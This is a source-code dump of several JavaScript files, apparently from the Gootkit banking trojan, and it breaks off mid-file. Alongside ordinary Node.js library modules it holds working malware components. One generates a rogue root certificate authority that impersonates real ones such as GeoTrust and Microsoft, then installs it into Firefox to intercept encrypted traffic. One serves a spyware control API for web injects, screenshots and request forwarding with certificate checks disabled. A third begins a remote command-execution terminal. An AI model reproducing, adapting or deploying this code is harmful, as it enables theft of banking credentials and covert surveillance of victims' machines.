99 | 100 | 101 | 102 | caught = this.emit('error', er); 103 | 104 | 105 | 106 | 107 | stack.length = 0; 108 | exports.active = process.domain = null; 109 | } catch (er2) { 110 | 111 | 112 | 113 | 114 | if (this === exports.active) { 115 | stack.pop(); 116 | } 117 | if (stack.length) { 118 | exports.active = process.domain = stack[stack.length - 1]; 119 | caught = process._fatalException(er2); 120 | } else { 121 | caught = false; 122 | } 123 | return caught; 124 | } 125 | return caught; 126 | }; 127 | 128 | 129 | Domain.prototype.enter = function() { 130 | if (this._disposed) return; 131 | 132 | 133 | 134 | exports.active = process.domain = this; 135 | stack.push(this); 136 | _domain_flag[0] = stack.length; 137 | }; 138 | 139 | 140 | Domain.prototype.exit = function() { 141 | 142 | 143 | var index = stack.lastIndexOf(this); 144 | if (this._disposed || index === -1) return; 145 | 146 | 147 | stack.splice(index); 148 | _domain_flag[0] = stack.length; 149 | 150 | exports.active = stack[stack.length - 1]; 151 | process.domain = exports.active; 152 | }; 153 | 154 | 155 | 156 | Domain.prototype.add = function(ee) { 157 | 158 | if (this._disposed || ee.domain === this) 159 | return; 160 | 161 | 162 | if (ee.domain) 163 | ee.domain.remove(ee); 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | if (this.domain && (ee instanceof Domain)) { 175 | for (var d = this.domain; d; d = d.domain) { 176 | if (ee === d) return; 177 | } 178 | } 179 | 180 | ee.domain = this; 181 | this.members.push(ee); 182 | }; 183 | 184 | 185 | Domain.prototype.remove = function(ee) { 186 | ee.domain = null; 187 | var index = this.members.indexOf(ee); 188 | if (index !== -1) 189 | this.members.splice(index, 1); 190 | }; 191 | 192 | 193 | Domain.prototype.run = function(fn) { 194 | if (this._disposed) 195 | return; 196 | this.enter(); 197 | var ret = fn.call(this); 198 | this.exit(); 199 | return ret; 200 | }; 201 | 202 | 203 | function intercepted(_this, self, cb, fnargs) { 204 | if (self._disposed) 205 | return; 206 | 207 | if (fnargs[0] && fnargs[0] instanceof Error) { 208 | var er = fnargs[0]; 209 | util._extend(er, { 210 | domainBound: cb, 211 | domainThrown: false, 212 | domain: self 213 | }); 214 | self.emit('error', er); 215 | return; 216 | } 217 | 218 | var args = []; 219 | var i, ret; 220 | 221 | self.enter(); 222 | if (fnargs.length > 1) { 223 | for (i = 1; i < fnargs.length; i++) 224 | args.push(fnargs[i]); 225 | ret = cb.apply(_this, args); 226 | } else { 227 | ret = cb.call(_this); 228 | } 229 | self.exit(); 230 | 231 | return ret; 232 | } 233 | 234 | 235 | Domain.prototype.intercept = function(cb) { 236 | var self = this; 237 | 238 | function runIntercepted() { 239 | return intercepted(this, self, cb, arguments); 240 | } 241 | 242 | return runIntercepted; 243 | }; 244 | 245 | 246 | function bound(_this, self, cb, fnargs) { 247 | if (self._disposed) 248 | return; 249 | 250 | var ret; 251 | 252 | self.enter(); 253 | if (fnargs.length > 0) 254 | ret = cb.apply(_this, fnargs); 255 | else 256 | ret = cb.call(_this); 257 | self.exit(); 258 | 259 | return ret; 260 | } 261 | 262 | 263 | Domain.prototype.bind = function(cb) { 264 | var self = this; 265 | 266 | function runBound() { 267 | return bound(this, self, cb, arguments); 268 | } 269 | 270 | runBound.domain = this; 271 | 272 | return runBound; 273 | }; 274 | 275 | 276 | Domain.prototype.dispose = util.deprecate(function() { 277 | if (this._disposed) return; 278 | 279 | 280 | this.exit(); 281 | 282 | 283 | if (this.domain) this.domain.remove(this); 284 | 285 | 286 | this.members.length = 0; 287 | 288 | 289 | 290 | this._disposed = true; 291 | }); 292 | -------------------------------------------------------------------------------- /querystring.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | var QueryString = exports; 25 | var util = require('util'); 26 | 27 | 28 | 29 | 30 | 31 | function hasOwnProperty(obj, prop) { 32 | return Object.prototype.hasOwnProperty.call(obj, prop); 33 | } 34 | 35 | 36 | function charCode(c) { 37 | return c.charCodeAt(0); 38 | } 39 | 40 | 41 | 42 | QueryString.unescapeBuffer = function(s, decodeSpaces) { 43 | var out = new Buffer(s.length); 44 | var state = 'CHAR'; 45 | var n, m, hexchar; 46 | 47 | for (var inIndex = 0, outIndex = 0; inIndex <= s.length; inIndex++) { 48 | var c = s.charCodeAt(inIndex); 49 | switch (state) { 50 | case 'CHAR': 51 | switch (c) { 52 | case charCode('%'): 53 | n = 0; 54 | m = 0; 55 | state = 'HEX0'; 56 | break; 57 | case charCode('+'): 58 | if (decodeSpaces) c = charCode(' '); 59 | 60 | default: 61 | out[outIndex++] = c; 62 | break; 63 | } 64 | break; 65 | 66 | case 'HEX0': 67 | state = 'HEX1'; 68 | hexchar = c; 69 | if (charCode('0') <= c && c <= charCode('9')) { 70 | n = c - charCode('0'); 71 | } else if (charCode('a') <= c && c <= charCode('f')) { 72 | n = c - charCode('a') + 10; 73 | } else if (charCode('A') <= c && c <= charCode('F')) { 74 | n = c - charCode('A') + 10; 75 | } else { 76 | out[outIndex++] = charCode('%'); 77 | out[outIndex++] = c; 78 | state = 'CHAR'; 79 | break; 80 | } 81 | break; 82 | 83 | case 'HEX1': 84 | state = 'CHAR'; 85 | if (charCode('0') <= c && c <= charCode('9')) { 86 | m = c - charCode('0'); 87 | } else if (charCode('a') <= c && c <= charCode('f')) { 88 | m = c - charCode('a') + 10; 89 | } else if (charCode('A') <= c && c <= charCode('F')) { 90 | m = c - charCode('A') + 10; 91 | } else { 92 | out[outIndex++] = charCode('%'); 93 | out[outIndex++] = hexchar; 94 | out[outIndex++] = c; 95 | break; 96 | } 97 | out[outIndex++] = 16 * n + m; 98 | break; 99 | } 100 | } 101 | 102 | 103 | 104 | return out.slice(0, outIndex - 1); 105 | }; 106 | 107 | 108 | QueryString.unescape = function(s, decodeSpaces) { 109 | try { 110 | return decodeURIComponent(s); 111 | } catch (e) { 112 | return QueryString.unescapeBuffer(s, decodeSpaces).toString(); 113 | } 114 | }; 115 | 116 | 117 | QueryString.escape = function(str) { 118 | return encodeURIComponent(str); 119 | }; 120 | 121 | var stringifyPrimitive = function(v) { 122 | if (util.isString(v)) 123 | return v; 124 | if (util.isBoolean(v)) 125 | return v ? 'true' : 'false'; 126 | if (util.isNumber(v)) 127 | return isFinite(v) ? v : ''; 128 | return ''; 129 | }; 130 | 131 | 132 | QueryString.stringify = QueryString.encode = function(obj, sep, eq, options) { 133 | sep = sep || '&'; 134 | eq = eq || '='; 135 | 136 | var encode = QueryString.escape; 137 | if (options && typeof options.encodeURIComponent === 'function') { 138 | encode = options.encodeURIComponent; 139 | } 140 | 141 | if (util.isObject(obj)) { 142 | var keys = Object.keys(obj); 143 | var fields = []; 144 | 145 | for (var i = 0; i < keys.length; i++) { 146 | var k = keys[i]; 147 | var v = obj[k]; 148 | var ks = encode(stringifyPrimitive(k)) + eq; 149 | 150 | if (util.isArray(v)) { 151 | for (var j = 0; j < v.length; j++) 152 | fields.push(ks + encode(stringifyPrimitive(v[j]))); 153 | } else { 154 | fields.push(ks + encode(stringifyPrimitive(v))); 155 | } 156 | } 157 | return fields.join(sep); 158 | } 159 | return ''; 160 | }; 161 | 162 | 163 | QueryString.parse = QueryString.decode = function(qs, sep, eq, options) { 164 | sep = sep || '&'; 165 | eq = eq || '='; 166 | var obj = {}; 167 | 168 | if (!util.isString(qs) || qs.length === 0) { 169 | return obj; 170 | } 171 | 172 | var regexp = /\+/g; 173 | qs = qs.split(sep); 174 | 175 | var maxKeys = 1000; 176 | if (options && util.isNumber(options.maxKeys)) { 177 | maxKeys = options.maxKeys; 178 | } 179 | 180 | var len = qs.length; 181 | 182 | if (maxKeys > 0 && len > maxKeys) { 183 | len = maxKeys; 184 | } 185 | 186 | var decode = QueryString.unescape; 187 | if (options && typeof options.decodeURIComponent === 'function') { 188 | decode = options.decodeURIComponent; 189 | } 190 | 191 | for (var i = 0; i < len; ++i) { 192 | var x = qs[i].replace(regexp, '%20'), 193 | idx = x.indexOf(eq), 194 | kstr, vstr, k, v; 195 | 196 | if (idx >= 0) { 197 | kstr = x.substr(0, idx); 198 | vstr = x.substr(idx + 1); 199 | } else { 200 | kstr = x; 201 | vstr = ''; 202 | } 203 | 204 | try { 205 | k = decode(kstr); 206 | v = decode(vstr); 207 | } catch (e) { 208 | k = QueryString.unescape(kstr, true); 209 | v = QueryString.unescape(vstr, true); 210 | } 211 | 212 | if (!hasOwnProperty(obj, k)) { 213 | obj[k] = v; 214 | } else if (util.isArray(obj[k])) { 215 | obj[k].push(v); 216 | } else { 217 | obj[k] = [obj[k], v]; 218 | } 219 | } 220 | 221 | return obj; 222 | }; 223 | -------------------------------------------------------------------------------- /certgen.js: -------------------------------------------------------------------------------- 1 | 2 | var certgen = process.binding("certgen"); 3 | var gootkit_spyware = require("spyware"); 4 | 5 | var suspend = require('suspend'), 6 | resume = suspend.resume; 7 | 8 | 9 | 10 | var possibleCerts = [ 11 | { 12 | name : 'GeoTrust Global CA', 13 | str : [ 14 | 'CN=GeoTrust Global CA', 15 | 'O="GeoTrust Inc."', 16 | 'C=US' 17 | ].join(', ') 18 | },{ 19 | name : 'AddTrust External CA Root', 20 | str : [ 21 | 'CN=AddTrust External CA Root', 22 | 'OU="AddTrust External TTP Network"', 23 | 'O=AddTrust AB', 24 | 'C=SE' 25 | ].join(', ') 26 | },{ 27 | name : 'Class 2 Primary CA', 28 | str : [ 29 | 'CN=Class 2 Primary CA', 30 | 'O=Certplus', 31 | 'C=FR' 32 | ].join(', ') 33 | },{ 34 | name : 'Microsoft Root Authority', 35 | str : [ 36 | 'CN=Microsoft Root Authority', 37 | 'OU=Microsoft Corporation', 38 | 'OU="Copyright (c) 1997 Microsoft Corp."' 39 | ].join(', ') 40 | },{ 41 | name : 'Go Daddy Class 2 Certification Authority', 42 | str : [ 43 | 'CN=Go Daddy Class 2 Certification Authority', 44 | 'O=" The Go Daddy Group, Inc."', 45 | 'C=US' 46 | ].join(', ') 47 | },{ 48 | name : 'Thawte Premium Server CA', 49 | str : [ 50 | 'E="premium-server@thawte.com"', 51 | 'CN=Thawte Premium Server CA', 52 | 'OU=Certification Services Division', 53 | 'O=Thawte Consulting cc', 54 | 'L=Cape Town', 55 | 'S=Western Cape', 56 | 'C=ZA' 57 | ].join(', ') 58 | },{ 59 | name : 'VeriSign Trust Network', 60 | str : [ 61 | 'CN=VeriSign Trust Network', 62 | 'OU=VeriSign Trust Network', 63 | 'OU="(c) 1998 VeriSign, Inc. - For authorized use only"', 64 | 'OU="Class 3 Public Primary Certification Authority - G2"', 65 | 'O="VeriSign, Inc."', 66 | 'C=US' 67 | ].join(', ') 68 | },{ 69 | name : 'StartCom Certification Authority', 70 | str : [ 71 | 'CN=StartCom Certification Authority', 72 | 'OU=Secure Digital Certificate Signing', 73 | 'O="StartCom Ltd."', 74 | 'C=IL' 75 | ].join(', ') 76 | },{ 77 | name : 'RSA Security 2048 V3', 78 | str : [ 79 | 'CN=RSA Security 2048 V3', 80 | 'OU=RSA Security 2048 V3', 81 | 'O=RSA Security Inc' 82 | ].join(', ') 83 | },{ 84 | name : 'GTE CyberTrust Global Root', 85 | str : [ 86 | 'CN=RGTE CyberTrust Global Root', 87 | 'OU="GTE CyberTrust Solutions, Inc."', 88 | 'O=GTE Corporation', 89 | 'C=US' 90 | ].join(', ') 91 | },{ 92 | name : 'GlobalSign Root CA', 93 | str : [ 94 | 'CN=GlobalSign Root CA', 95 | 'OU=Root CA', 96 | 'O=GlobalSign nv-sa', 97 | 'C=BE' 98 | ].join(', ') 99 | } 100 | ]; 101 | 102 | function installFirefoxCertificate(certificate, cb) 103 | { 104 | if (certgen.firefoxIsDbInitialized()) { 105 | 106 | certgen.firefoxImportCert( 107 | pemToDer(encodedCert), 108 | process.md5(encodedCert)); 109 | 110 | 111 | cb(); 112 | } 113 | } 114 | 115 | function pemToDer(encodedCert){ 116 | var a = encodedCert.trim().split('\r\n'); 117 | a.pop(); 118 | a.splice(0, 1); 119 | return new Buffer(a.join(), 'base64'); 120 | } 121 | 122 | function sleep(ms, cb) 123 | { 124 | setTimeout(function(){cb()},ms); 125 | } 126 | 127 | 128 | var installRootCACertificate = suspend(function*(cb) { 129 | 130 | var expectedCert = possibleCerts.randomElement(); 131 | 132 | var existentCACert = certgen.isCAKeyExists(); 133 | 134 | if(false === existentCACert) 135 | { 136 | var expectedCert = possibleCerts.randomElement(); 137 | 138 | var genResult = yield certgen.generateRootCert( 139 | expectedCert.name, 140 | expectedCert.str, 141 | false, 142 | resume()); 143 | } 144 | 145 | if(false !== existentCACert) 146 | { 147 | if(process.currentBinary === 'firefox.exe') 148 | { 149 | while(!certgen.firefoxIsDbInitialized()){ 150 | yield sleep(100, resume()); 151 | } 152 | 153 | certgen.firefoxImportCert( 154 | pemToDer(existentCACert), 155 | process.md5(existentCACert) 156 | ); 157 | } 158 | 159 | cb(); 160 | } 161 | else 162 | { 163 | setTimeout(function(){ 164 | installRootCACertificate(cb)}, 2000); 165 | } 166 | }); 167 | 168 | exports.pemToDer = pemToDer; 169 | exports.firefoxIsDbInitialized = certgen.firefoxIsDbInitialized; 170 | exports.firefoxImportCert = certgen.firefoxImportCert; 171 | exports.isCAKeyExists = certgen.isCAKeyExists; 172 | exports.generateValidCertSignedByMagic = certgen.generateValidCertSignedByMagic; 173 | exports.generateRootCert = certgen.generateRootCert; 174 | exports.resignCertByMagic = certgen.resignCertByMagic; 175 | exports.installRootCACertificate = installRootCACertificate; 176 | exports.installFirefoxCertificate = installFirefoxCertificate; -------------------------------------------------------------------------------- /internalapi.js: -------------------------------------------------------------------------------- 1 | 2 | var url = require('url'); 3 | var https = require('https'); 4 | var http = require('http'); 5 | var spyware = process.binding("spyware"); 6 | var path = require('path'); 7 | var fs = require('fs'); 8 | 9 | function sendText(response, body) { 10 | response.writeHead(200, { 11 | 'Content-Length': body.length, 12 | 'Content-Type': 'text/plain' 13 | }); 14 | response.write(body); 15 | response.end(); 16 | } 17 | 18 | function sendError(response, body) { 19 | response.writeHead(503, { 20 | 'Content-Length': body.length, 21 | 'Content-Type': 'text/plain' 22 | }); 23 | response.write(body); 24 | response.end(); 25 | } 26 | 27 | 28 | function InjSetVar(query, response) { 29 | if (query.name) { 30 | 31 | var storedObjects = process.FsReadObjectEncrypted('gatevars.txt'); 32 | if (!storedObjects) { 33 | storedObjects = {}; 34 | } 35 | 36 | if (!query.value) { 37 | delete storedObjects[query.name]; 38 | } else { 39 | storedObjects[query.name] = query.value; 40 | } 41 | 42 | process.FsWriteObjectEncrypted('gatevars.txt', storedObjects); 43 | } 44 | 45 | sendText(response, 'true'); 46 | } 47 | 48 | function InjGetVar(query, response) { 49 | 50 | if (query.name) { 51 | 52 | var storedObjects = process.FsReadObjectEncrypted('gatevars.txt'); 53 | 54 | if (!storedObjects) { 55 | storedObjects = {}; 56 | } 57 | 58 | if (!storedObjects[query.name]) { 59 | sendError(response, 'not found'); 60 | } else { 61 | sendText(response, storedObjects[query.name]); 62 | } 63 | 64 | } else { 65 | sendError(response, 'invalid parameter'); 66 | } 67 | } 68 | 69 | function SpSendLog(query, response) { 70 | if (query.message) { 71 | process.log('SpSendLog (API) ', query.message); 72 | sendText(response, 'true'); 73 | } else { 74 | sendError(response, 'invalid parameter'); 75 | } 76 | } 77 | 78 | 79 | function HttpForwardRequest(query, response, request) { 80 | 81 | if (query.b) { 82 | query.url = new Buffer(query.b, 'base64').toString(); 83 | } 84 | 85 | if (query.url) { 86 | 87 | var parsedUrl = url.parse(query.url); 88 | 89 | var engine; 90 | 91 | if (parsedUrl.protocol === 'http:') { 92 | engine = http; 93 | if (!parsedUrl.port) { 94 | parsedUrl.port = 80; 95 | } 96 | } else if (parsedUrl.protocol === 'https:') { 97 | engine = https; 98 | if(!parsedUrl.port){ 99 | parsedUrl.port = 443; 100 | } 101 | } else return sendError(response, 'invalid protocol'); 102 | 103 | 104 | var remotePort = parseInt(parsedUrl.port); 105 | 106 | var options = { 107 | host: parsedUrl.host, 108 | hostname: parsedUrl.hostname, 109 | port: remotePort + process.PORT_REDIRECTION_BASE, 110 | path: parsedUrl.path, 111 | method: 'GET', 112 | rejectUnauthorized: false 113 | }; 114 | 115 | print(options); 116 | 117 | var req = engine.request(options, function (remote_response) { 118 | 119 | response.writeHead(remote_response.statusCode, remote_response.headers); 120 | 121 | remote_response.on('data', function (d) { 122 | response.write(d); 123 | }); 124 | 125 | remote_response.on('end', function () { 126 | response.end(); 127 | }); 128 | 129 | remote_response.on('error', function (error) { 130 | sendError(response, error.message); 131 | }); 132 | 133 | }); 134 | 135 | req.on('error', function (e) { 136 | sendError(response, 'problem with request: ' + e.message); 137 | }); 138 | 139 | req.end(); 140 | } else { 141 | sendError(response, 'url not specified'); 142 | } 143 | } 144 | 145 | 146 | function SpTakeScreenshot(query, response, request) { 147 | var packetBuffer = new Buffer(JSON.stringify({ 148 | quality: query.quality || 30 149 | })); 150 | 151 | if (process.masterConnection) { 152 | process.masterConnection.sendProtocolPacket( 153 | SLAVE_PACKET_API_TAKESCREEN, 154 | packetBuffer 155 | ); 156 | } 157 | else { 158 | process.pendingMessages.push({ 159 | t: SLAVE_PACKET_API_TAKESCREEN, 160 | p: packetBuffer 161 | }); 162 | } 163 | sendText(response, 'true'); 164 | } 165 | 166 | var methods = { 167 | 'InjSetVar': InjSetVar, 168 | 'InjGetVar': InjGetVar, 169 | 'SpSendLog': SpSendLog, 170 | 'SpTakeScreenshot': SpTakeScreenshot, 171 | 'HttpForwardRequest': HttpForwardRequest 172 | }; 173 | 174 | 175 | function serve(request, response) { 176 | var url_parts = url.parse(request.url, true); 177 | var query = url_parts.query; 178 | if (query) { 179 | var method = query.method; 180 | 181 | if (method && methods[method]) { 182 | return methods[method](query, response, request); 183 | } else { 184 | return sendText(response, 'method not registered'); 185 | } 186 | } else { 187 | return sendText(response, 'method not specified'); 188 | } 189 | } 190 | 191 | 192 | exports.serve = serve; -------------------------------------------------------------------------------- /FastBufferList.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | var Buffer = require('buffer').Buffer; 8 | var EventEmitter = require('events').EventEmitter; 9 | 10 | module.exports = BufferList; 11 | module.exports.BufferList = BufferList; 12 | 13 | function BufferList(opts) { 14 | if (!(this instanceof BufferList)) return new BufferList(opts); 15 | EventEmitter.call(this); 16 | var self = this; 17 | 18 | if (typeof(opts) == 'undefined') opts = {}; 19 | 20 | 21 | 22 | self.encoding = opts.encoding; 23 | 24 | 25 | self.construct = opts.construct || Buffer; 26 | 27 | var head = { next : null, buffer : null }; 28 | var last = { next : null, buffer : null }; 29 | 30 | 31 | 32 | var length = 0; 33 | self.__defineGetter__('length', function () { 34 | return length; 35 | }); 36 | 37 | 38 | var offset = 0; 39 | 40 | 41 | self.write = function (buf) { 42 | if (!head.buffer) { 43 | head.buffer = buf; 44 | last = head; 45 | } 46 | else { 47 | last.next = { next : null, buffer : buf }; 48 | last = last.next; 49 | } 50 | length += buf.length; 51 | self.emit('write', buf); 52 | return true; 53 | }; 54 | 55 | self.end = function (buf) { 56 | if (buf instanceof Buffer) self.write(buf); 57 | }; 58 | 59 | 60 | 61 | self.push = function () { 62 | var args = [].concat.apply([], arguments); 63 | args.forEach(self.write); 64 | return self; 65 | }; 66 | 67 | 68 | 69 | 70 | self.forEach = function (fn) { 71 | if (!head.buffer) return new self.construct(0); 72 | 73 | if (head.buffer.length - offset <= 0) return self; 74 | var firstBuf = new self.construct(head.buffer.length - offset); 75 | head.buffer.copy(firstBuf, 0, offset, head.buffer.length); 76 | 77 | var b = { buffer : firstBuf, next : head.next }; 78 | 79 | while (b && b.buffer) { 80 | var r = fn(b.buffer); 81 | if (r) break; 82 | b = b.next; 83 | } 84 | 85 | return self; 86 | }; 87 | 88 | 89 | 90 | self.join = function (start, end) { 91 | if (!head.buffer) return new self.construct(0); 92 | if (start == undefined) start = 0; 93 | if (end == undefined) end = self.length; 94 | 95 | var big = new self.construct(end - start); 96 | var ix = 0; 97 | self.forEach(function (buffer) { 98 | if (start < (ix + buffer.length) && ix < end) { 99 | 100 | buffer.copy( 101 | big, 102 | Math.max(0, ix - start), 103 | Math.max(0, start - ix), 104 | Math.min(buffer.length, end - ix) 105 | ); 106 | } 107 | ix += buffer.length; 108 | if (ix > end) return true; 109 | }); 110 | 111 | return big; 112 | }; 113 | 114 | self.joinInto = function (targetBuffer, targetStart, sourceStart, sourceEnd) { 115 | if (!head.buffer) return new self.construct(0); 116 | if (sourceStart == undefined) sourceStart = 0; 117 | if (sourceEnd == undefined) sourceEnd = self.length; 118 | 119 | var big = targetBuffer; 120 | if (big.length - targetStart < sourceEnd - sourceStart) { 121 | throw new Error("Insufficient space available in target Buffer."); 122 | } 123 | var ix = 0; 124 | self.forEach(function (buffer) { 125 | if (sourceStart < (ix + buffer.length) && ix < sourceEnd) { 126 | 127 | buffer.copy( 128 | big, 129 | Math.max(targetStart, targetStart + ix - sourceStart), 130 | Math.max(0, sourceStart - ix), 131 | Math.min(buffer.length, sourceEnd - ix) 132 | ); 133 | } 134 | ix += buffer.length; 135 | if (ix > sourceEnd) return true; 136 | }); 137 | 138 | return big; 139 | }; 140 | 141 | 142 | 143 | 144 | 145 | 146 | self.advance = function (n) { 147 | offset += n; 148 | length -= n; 149 | while (head.buffer && offset >= head.buffer.length) { 150 | offset -= head.buffer.length; 151 | head = head.next 152 | ? head.next 153 | : { buffer : null, next : null } 154 | ; 155 | } 156 | self.emit('advance', n); 157 | return self; 158 | }; 159 | 160 | 161 | 162 | 163 | 164 | self.take = function (n, encoding) { 165 | if (n == undefined) n = self.length; 166 | else if (typeof n !== 'number') { 167 | encoding = n; 168 | n = self.length; 169 | } 170 | var b = head; 171 | if (!encoding) encoding = self.encoding; 172 | if (encoding) { 173 | var acc = ''; 174 | self.forEach(function (buffer) { 175 | if (n <= 0) return true; 176 | acc += buffer.toString( 177 | encoding, 0, Math.min(n,buffer.length) 178 | ); 179 | n -= buffer.length; 180 | }); 181 | return acc; 182 | } else { 183 | 184 | return self.join(0, n); 185 | } 186 | }; 187 | 188 | 189 | self.toString = function () { 190 | return self.take('binary'); 191 | }; 192 | } 193 | require('util').inherits(BufferList, EventEmitter); 194 | -------------------------------------------------------------------------------- /streams.js: -------------------------------------------------------------------------------- 1 | var Stream = require('stream').Stream; 2 | var utillib = require('util'); 3 | var mimelib = require("mimelib"); 4 | var encodinglib = require("encoding"); 5 | 6 | var crypto = require("crypto"); 7 | var uue = require('uue'); 8 | 9 | 10 | function Base64Stream() { 11 | Stream.call(this); 12 | this.writable = true; 13 | 14 | this.checksum = crypto.createHash("md5"); 15 | this.length = 0; 16 | 17 | this.current = ""; 18 | } 19 | 20 | utillib.inherits(Base64Stream, Stream); 21 | 22 | Base64Stream.prototype.write = function(data) { 23 | this.handleInput(data); 24 | return true; 25 | }; 26 | 27 | Base64Stream.prototype.end = function(data) { 28 | this.handleInput(data); 29 | this.emit("end"); 30 | return { 31 | length: this.length, 32 | checksum: this.checksum.digest("hex") 33 | }; 34 | }; 35 | 36 | Base64Stream.prototype.handleInput = function(data) { 37 | if (!data || !data.length) { 38 | return; 39 | } 40 | 41 | data = (data || "").toString("utf-8"); 42 | 43 | var remainder = 0; 44 | this.current += data.replace(/[^\w\+\/=]/g, ''); 45 | var buffer = new Buffer(this.current.substr(0, this.current.length - this.current.length % 4), "base64"); 46 | if (buffer.length) { 47 | this.length += buffer.length; 48 | this.checksum.update(buffer); 49 | this.emit("data", buffer); 50 | } 51 | this.current = (remainder = this.current.length % 4) ? this.current.substr(-remainder) : ""; 52 | }; 53 | 54 | function QPStream(charset) { 55 | Stream.call(this); 56 | this.writable = true; 57 | 58 | this.checksum = crypto.createHash("md5"); 59 | this.length = 0; 60 | 61 | this.charset = charset || "UTF-8"; 62 | this.current = undefined; 63 | } 64 | utillib.inherits(QPStream, Stream); 65 | 66 | QPStream.prototype.write = function(data) { 67 | this.handleInput(data); 68 | return true; 69 | }; 70 | 71 | QPStream.prototype.end = function(data) { 72 | this.handleInput(data); 73 | this.flush(); 74 | this.emit("end"); 75 | return { 76 | length: this.length, 77 | checksum: this.checksum.digest("hex") 78 | }; 79 | }; 80 | 81 | QPStream.prototype.handleInput = function(data) { 82 | if (!data || !data.length) { 83 | return; 84 | } 85 | 86 | data = (data || "").toString("utf-8"); 87 | if (data.match(/^\r\n/)) { 88 | data = data.substr(2); 89 | } 90 | 91 | if (typeof this.current != "string") { 92 | this.current = data; 93 | } else { 94 | this.current += "\r\n" + data; 95 | } 96 | }; 97 | 98 | QPStream.prototype.flush = function() { 99 | var buffer = mimelib.decodeQuotedPrintable(this.current, false, this.charset); 100 | 101 | if (this.charset.toLowerCase() == "binary") { 102 | 103 | } else if (this.charset.toLowerCase() != "utf-8") { 104 | buffer = encodinglib.convert(buffer, "utf-8", this.charset); 105 | } else { 106 | buffer = new Buffer(buffer, "utf-8"); 107 | } 108 | 109 | this.length += buffer.length; 110 | this.checksum.update(buffer); 111 | 112 | this.emit("data", buffer); 113 | }; 114 | 115 | function BinaryStream(charset) { 116 | Stream.call(this); 117 | this.writable = true; 118 | 119 | this.checksum = crypto.createHash("md5"); 120 | this.length = 0; 121 | 122 | this.charset = charset || "UTF-8"; 123 | this.current = ""; 124 | } 125 | utillib.inherits(BinaryStream, Stream); 126 | 127 | BinaryStream.prototype.write = function(data) { 128 | if (data && data.length) { 129 | this.length += data.length; 130 | this.checksum.update(data); 131 | this.emit("data", data); 132 | } 133 | return true; 134 | }; 135 | 136 | BinaryStream.prototype.end = function(data) { 137 | if (data && data.length) { 138 | this.emit("data", data); 139 | } 140 | this.emit("end"); 141 | return { 142 | length: this.length, 143 | checksum: this.checksum.digest("hex") 144 | }; 145 | }; 146 | 147 | 148 | function UUEStream(charset) { 149 | Stream.call(this); 150 | this.writable = true; 151 | 152 | this.checksum = crypto.createHash("md5"); 153 | this.length = 0; 154 | this.buf = []; 155 | this.buflen = 0; 156 | 157 | this.charset = charset || "UTF-8"; 158 | this.current = undefined; 159 | } 160 | utillib.inherits(UUEStream, Stream); 161 | 162 | UUEStream.prototype.write = function(data) { 163 | this.buf.push(data); 164 | this.buflen += data.length; 165 | return true; 166 | }; 167 | 168 | UUEStream.prototype.end = function(data) { 169 | if (data) { 170 | this.write(data); 171 | } 172 | 173 | this.flush(); 174 | 175 | this.emit("end"); 176 | return { 177 | length: this.length, 178 | checksum: this.checksum.digest("hex") 179 | }; 180 | }; 181 | 182 | UUEStream.prototype.flush = function() { 183 | var buffer = this.decode(Buffer.concat(this.buf, this.buflen)); 184 | 185 | this.length += buffer.length; 186 | this.checksum.update(buffer); 187 | 188 | this.emit("data", buffer); 189 | }; 190 | 191 | UUEStream.prototype.decode = function(buffer) { 192 | var filename; 193 | 194 | var re = /^begin [0-7]{3} (.*)/; 195 | filename = buffer.slice(0, Math.min(buffer.length, 1024)).toString().match(re)[1] || ''; 196 | if (!filename) { 197 | return new Buffer(0); 198 | } 199 | 200 | buffer = uue.decodeFile(buffer.toString('ascii').replace(/\r\n/g, '\n'), filename); 201 | 202 | if (this.charset.toLowerCase() == "binary") { 203 | 204 | } else if (this.charset.toLowerCase() != "utf-8") { 205 | buffer = encodinglib.convert(buffer, "utf-8", this.charset); 206 | } 207 | 208 | return buffer; 209 | }; 210 | 211 | exports.Base64Stream = Base64Stream; 212 | exports.QPStream = QPStream; 213 | exports.BinaryStream = BinaryStream; 214 | exports.UUEStream = UUEStream; 215 | -------------------------------------------------------------------------------- /client_proto_cmdterm.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var path = require('path'); 3 | var zlib = require('zlib'); 4 | var net = require('net'); 5 | var stream = require('stream'); 6 | var util = require('util'); 7 | var suspend = require('suspend'); 8 | var iconv = require('inconvlite'); 9 | var Stream = require('stream').Stream; 10 | var repl = require('repl'); 11 | var protobuf = require('protocol_buffers'); 12 | 13 | var spyware = process.binding("spyware"); 14 | var reg = process.binding("registry"); 15 | 16 | var consoleTerminal = undefined; 17 | 18 | 19 | var messages = protobuf([ 20 | 'message CommandExecutionRequest {\r', 21 | '\toptional string process = 1;\r', 22 | '\toptional string command = 2;\r', 23 | '}\r' 24 | ].join('\n')); 25 | 26 | const SP_EXECUTECMD = 1; 27 | const SP_EXECUTREPL = 2; 28 | 29 | var MyPacketId; 30 | var ReplCookie; 31 | 32 | 33 | function createReplStream(socket) { 34 | var stream = new Stream(); 35 | 36 | stream.readable = true; 37 | stream.resume = function () { }; 38 | stream.write = function (data) {}; 39 | 40 | return stream; 41 | }; 42 | 43 | 44 | function getTerminalDefaultEncoding() { 45 | var x = new reg.WindowsRegistry(HKEY_LOCAL_MACHINE, 46 | 'SYSTEM\\CurrentControlSet\\Control\\Nls\\CodePage\\', 47 | KEY_READ, true); 48 | 49 | var valueType = x.GetDataType("OEMCP"); 50 | 51 | if (valueType == REG_SZ) { 52 | return x.ReadString("OEMCP"); 53 | } 54 | } 55 | 56 | function BuildPacket(requestId, status, data) 57 | { 58 | var packet; 59 | 60 | if(data){ 61 | packet = new Buffer( 62 | 2 + 63 | 4 + 64 | 1 + 65 | data.length 66 | ); 67 | } 68 | else 69 | { 70 | packet = new Buffer( 71 | 2 + 72 | 4 + 73 | 1 74 | ); 75 | } 76 | 77 | packet.writeUInt16BE(MyPacketId, 0); 78 | packet.writeUInt32BE(requestId, 2); 79 | packet.writeUInt8(status, 6); 80 | 81 | if(data) 82 | data.copy(packet, 7); 83 | 84 | return packet; 85 | } 86 | 87 | var OnPacket = suspend(function*(outstream, data) 88 | { 89 | 90 | var func = data.readUInt8(); 91 | var requestId = data.readUInt32BE(1); 92 | 93 | 94 | 95 | 96 